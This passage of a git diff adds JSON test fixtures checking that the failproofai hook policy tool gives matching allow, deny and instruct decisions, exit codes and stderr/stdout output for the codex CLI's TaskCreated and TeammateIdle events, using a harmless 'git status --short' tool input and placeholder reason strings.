a/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bfef159f --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..218e1009 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..eebada17 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d4c7748e --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8de45b2b --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f70963f1 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e2f0a286 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..383691ea --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..244747dc --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a550fa5e --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1406f130 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c1c6a8e9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..33b90857 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..88e7befb --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c3be7340 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..96388989 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..e356fd9c --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..12cc9ea3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..20efafe7 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..010aebde --- /dev/null +++ b/__tests__/parity/fixtures/codex/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + 